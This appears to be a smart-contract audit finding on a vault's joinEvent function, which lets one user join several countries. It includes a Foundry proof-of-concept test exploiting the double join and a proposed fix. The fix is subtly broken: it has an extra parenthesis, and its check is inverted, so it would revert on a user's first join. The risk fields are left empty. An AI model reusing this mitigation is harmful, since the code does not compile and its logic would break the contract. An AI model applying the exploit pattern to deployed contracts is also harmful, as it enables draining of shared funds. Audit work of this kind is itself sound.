Root + Impact
Description
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
@> there is a missing check to see if the participant has joined already
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Risk
Likelihood:
Impact:
Proof of Concept
Please insert below code in briVault.t.sol:
function testOneUserPerEvent() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
uint256 user1shares = briVault.deposit(5 ether, user1);
briVault.joinEvent(10);
briVault.joinEvent(11);
uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
uint256 user2shares = briVault.deposit(5 ether, user2);
briVault.joinEvent(11);
uint256 balanceBeforuser2 = mockToken.balanceOf(user2);
vm.stopPrank();
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(11);
console.log(briVault.finalizedVaultAsset());
vm.stopPrank();
vm.startPrank(user1);
briVault.withdraw();
vm.stopPrank();
vm.startPrank(user2);
briVault.withdraw();
vm.stopPrank();
console.log("balance before withdraw user1: ", balanceBeforuser1);
console.log("balance after withdraw user1: ", mockToken.balanceOf(user1));
console.log("balance before withdraw user2: ", balanceBeforuser2);
console.log("balance after withdraw user2: ", mockToken.balanceOf(user2));
assert(mockToken.balanceOf(user1) > balanceBeforuser1);
assert(mockToken.balanceOf(user2) > balanceBeforuser2);
assertEq(mockToken.balanceOf(user1), mockToken.balanceOf(user2));
}
Recommended Mitigation
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
// OK timestamp is ok?
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ if (bytes(userToCountry[msg.sender]))).length == 0) {
+ revert userHasJoinedAlready();
+ }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}